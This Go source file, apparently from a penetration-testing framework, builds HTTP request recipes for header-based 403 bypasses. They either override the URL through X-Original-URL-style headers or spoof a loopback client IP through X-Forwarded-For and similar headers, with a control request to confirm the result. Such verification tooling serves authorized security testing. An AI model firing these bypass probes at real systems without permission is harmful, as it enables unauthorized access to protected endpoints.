package exploit

import (
	"fmt"
	"strings"

	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/swarm/verify"
)

// TechniqueSpec pairs a bypass technique label with its re-proof recipe, so the
// verifier can record which trick actually crossed the boundary.
type TechniqueSpec struct {
	Technique string
	Spec      *verify.ProbeSpec
}

// urlOverrideHeaders route a back-end request to a path carried in the header,
// bypassing a front-end ACL that only saw the (public) request line.
var urlOverrideHeaders = []string{"X-Original-URL", "X-Rewrite-URL", "X-Override-URL"}

// ipSpoofHeaders make a back-end trust the client IP they carry, bypassing an
// allowlist that admits loopback / internal addresses.
var ipSpoofHeaders = []string{"X-Forwarded-For", "X-Real-IP", "X-Client-IP", "X-Originating-IP"}

const (
	// bogusControlPath is an improbable path used as the url-override control:
	// the server should NOT serve it, so a served protected path diverges.
	bogusControlPath = "/vV9x-nonexistent-9271"
	// loopbackIP is the attack value for IP-spoof headers; controlIP is a benign
	// documentation address (RFC 5737 TEST-NET-3) that should not be trusted.
	loopbackIP = "127.0.0.1"
	controlIP  = "203.0.113.1"
)

// AuthBypassHeaderSpecs builds header-based 403-bypass re-proof recipes for a
// protected endpoint. Two families, each a clean differential:
//
//   - URL-override (X-Original-URL, …): request a PUBLIC path ("/") carrying the
//     header; attack sets it to the protected path, control to an improbable
//     path. A server that honors the header serves the protected path (2xx)
//     while the control is denied/not-found.
//   - IP-spoof (X-Forwarded-For, …): request the protected path carrying the
//     header; attack claims loopback, control a public IP. A server trusting the
//     spoofed address serves the attack (2xx) while the control stays denied.
//
// targetURL is the protected endpoint; authHeader is an optional credential. The
// differential oracle supplies the verdict (attack 2xx vs control denied).
func AuthBypassHeaderSpecs(targetURL, authHeader string) ([]TechniqueSpec, error) {
	host, pathQuery := splitHostPath(targetURL)
	if host == "" {
		return nil, fmt.Errorf("auth-bypass header: no host in %q", targetURL)
	}

	var out []TechniqueSpec
	for _, h := range urlOverrideHeaders {
		raw := headerBaseRequest(host, "/", h, authHeader)
		spec, err := verify.NewDifferentialSpec(raw, "", pathQuery, bogusControlPath, "")
		if err != nil {
			return nil, err
		}
		out = append(out, TechniqueSpec{Technique: "header:" + h, Spec: spec})
	}
	for _, h := range ipSpoofHeaders {
		raw := headerBaseRequest(host, pathQuery, h, authHeader)
		spec, err := verify.NewDifferentialSpec(raw, "", loopbackIP, controlIP, "")
		if err != nil {
			return nil, err
		}
		out = append(out, TechniqueSpec{Technique: "header:" + h, Spec: spec})
	}
	return out, nil
}

// headerBaseRequest builds a raw GET request to path whose named header's value
// is the injection marker (the differential oracle substitutes attack/control
// there). The optional Authorization header is carried verbatim.
func headerBaseRequest(host, path, header, authHeader string) string {
	if path == "" {
		path = "/"
	}
	var b strings.Builder
	b.WriteString("GET " + path + " HTTP/1.1\r\n")
	b.WriteString("Host: " + host + "\r\n")
	if authHeader != "" {
		b.WriteString("Authorization: " + authHeader + "\r\n")
	}
	b.WriteString(header + ": " + verify.DefaultMarker + "\r\n")
	b.WriteString("\r\n")
	return b.String()
}
